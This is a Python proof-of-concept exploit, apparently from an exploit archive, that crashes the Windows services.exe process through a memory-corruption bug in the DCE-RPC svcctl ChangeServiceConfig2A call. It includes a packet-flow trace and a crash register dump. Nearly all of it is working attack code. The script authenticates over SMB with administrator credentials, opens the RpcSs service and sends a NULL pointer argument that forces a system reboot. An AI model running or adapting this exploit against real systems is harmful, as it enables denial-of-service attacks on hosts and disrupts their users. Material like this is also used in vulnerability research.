| 
 
|  | #!/usr/bin/python # MS Windows DCE-RPC svcctl ChangeServiceConfig2A() 0day Memory Corruption PoC Exploit
 # Bug discovered by Krystian Kloskowski (h07) <h07@interia.pl>
 # Tested on Windows 2000 SP4 Polish (all patches)
 #
 # Requires..
 # - Impacket : http://oss.coresecurity.com/projects/impacket.html
 # - PyCrypto : http://www.amk.ca/python/code/crypto.html
 #
 # Details:..
 #
 # [exploit] Session Setup AndX Request, User: Administrator -->        [target]
 # [exploit] Session Setup AndX Response <--                            [target]
 # [exploit] Tree Connect AndX Request -->                              [target]
 # [exploit] Tree Connect AndX Response <--                             [target]
 # [exploit] NT Create AndX Request, Path: \svcctl -->                  [target]
 # [exploit] NT Create AndX Response, Fid: 0x4000 <--                   [target]
 # [exploit] DCERPC Bind UUID: SVCCTL -->                               [target]
 # [exploit] DCERPC Bind_ack <--                                        [target]
 # [exploit] SVCCTL OpenSCManagerW request -->                          [target]
 # [exploit] SVCCTL OpenSCManagerW response(handle) <--                 [target]
 # [exploit] SVCCTL OpenServiceW request -->                            [target]
 # [exploit] SVCCTL OpenServiceW response(handle) <--                   [target]
 # [exploit] SVCCTL ChangeServiceConfig2A(handle, 1, 1, 0x00000000) --> [target]
 # [exploit] DCERPC Fault: status: unknwon(0xc00000fd) <--              [target]
 # [exploit] SVCCTL ChangeServiceConfig2A(handle, 1, 1, 0x00000000) --> [target]
 # [exploit] SMB Trans Response, Error: Unknown DoS Error <--           [target](crashed)
 #
 # [Module services]
 # Exception C0000005 (ACCESS_VIOLATION reading [00000000])
 # -------------------------------------------------------------
 # EAX=00000000: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??
 # EBX=004D83C0: 28 83 4D 00 48 84 4D 00-34 84 4D 00 48 61 08 00
 # ECX=00000890: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??
 # EDX=00000001: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??
 # ESP=015BF8C0: 34 F9 5B 01 00 00 00 00-00 FB 5B 01 00 00 00 00
 # EBP=015BF8F4: 30 F9 5B 01 AD 20 01 01-B8 FB 0D 00 01 00 00 00
 # ESI=00000000: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??
 # EDI=01017000: 90 9C 07 00 FF FF FF FF-00 00 00 00 00 00 00 00
 # EIP=010108A8: FF 30 68 90 A5 00 01 FF-75 FC E8 CF 1D 00 00 8B
 #               --> PUSH DWORD PTR [EAX]
 #
 # [Process services.exe terminated, system reboot]
 #
 # Just for fun ;]
 ##
 
 from impacket.structure import Structure
 from impacket.dcerpc import transport
 from impacket import uuid
 from random import randint
 from time import sleep
 
 host = '192.168.0.1'
 username = 'Administrator'
 password = 'Administrator_Password'
 
 interface = ('svcctl', '367abb81-9844-35f1-ad32-98f038001003', '2.0')
 
 stringbinding = "ncacn_np:%(host)s[\\pipe\\%(pipe)s]"
 stringbinding %= {
 'host': host,
 'pipe': interface[0],
 }
 
 # random dword
 def dword_rand():
 s_dword = 256 ** 4
 return randint(0, s_dword)
 
 # unicode string
 def utf16(str):
 return str.encode('utf_16_le')
 
 # MS RPC string
 def rpcstr(str, id = 1, unicode_string = 1):
 class foo(Structure):
 alignment = 4
 structure = ()
 
 if(id == 1):
 structure += (('id', '<L')),
 
 structure += (
 ('max', '<L'),
 ('offset', '<L=0'),
 ('actual', '<L'),
 ('str', '%s'),
 )
 
 query = foo()
 
 if(id == 1):
 query['id'] = dword_rand()
 
 query['max'] = len(str)
 query['actual'] = len(str)
 
 if(unicode_string == 1):
 query['str'] = utf16(str)
 else:
 query['str'] = str
 
 return query
 
 # MS RPC OpenSCManager
 def OpenSCManager(host, access = 1):
 class foo(Structure):
 opnum = 0x0f
 structure = (
 ('str1', ':'),
 ('null', '<L=0'),
 ('access', '<L'),
 )
 
 query = foo()
 query['str1'] = rpcstr("\\\\%s\x00" % (host))
 query['access'] = access
 
 return query
 
 # MS RPC OpenServiceW
 def OpenService(handle, service, access = 1):
 class foo(Structure):
 opnum = 0x10
 structure = (
 ('handle', ':'),
 ('str1', ':'),
 ('access', '<L'),
 )
 
 query = foo()
 
 query['handle'] = handle
 query['str1'] = rpcstr("%s\x00" % (service), 0)
 query['access'] = access
 
 return query
 
 trans = transport.DCERPCTransportFactory(stringbinding)
 trans.set_credentials(username, password)
 trans.connect()
 dce = trans.DCERPC_class(trans)
 dce.bind(uuid.uuidtup_to_bin((interface[1], interface[2])))
 
 query = OpenSCManager(host, access = 1)
 dce.call(query.opnum, query)
 raw = dce.recv()
 handle = raw[:20]
 
 query = OpenService(handle, "RpcSs", access = 0xF01FF)
 dce.call(query.opnum, query)
 raw = dce.recv()
 handle = raw[:20]
 
 ##
 # ChangeServiceConfig2A() [IDL code generated by mIDA v1.0.7]
 #
 # typedef struct struct_1 {
 #  long elem_1;
 #  [switch_is(elem_1)] union union_2 elem_2;
 #  } struct_1 ;
 #
 # typedef [switch_type( unsigned long )] union union_2 {
 # [case(1)]  struct struct_3 * elem_1;
 # [case(2)]  struct struct_4 * elem_2;
 # } union_2;
 #
 # typedef struct struct_3 {
 # [string] char * elem_1;
 # } struct_3 ;
 #
 #
 # /* opcode: 0x24, address: 0x0101203B */
 #
 # long  sub_101203B (
 # [in][context_handle] void * arg_1,
 # [in] struct struct_1 arg_2
 # );
 ##
 
 class ChangeServiceConfig2A(Structure):
 opnum = 0x24
 structure = (
 ('context_handle', ':'),
 ('switch_is', '<L=1'),
 ('case', '<L=1'),
 ('struct_3', '<L=0x00000000'), # <-- vulnerable argument
 )
 
 query = ChangeServiceConfig2A()
 query['context_handle'] = handle
 
 for i in range(0, 2):
 dce.call(query.opnum, query)
 sleep(1)
 
 dce.disconnect()
 
 # EoF
 
 
 |   
|  |  |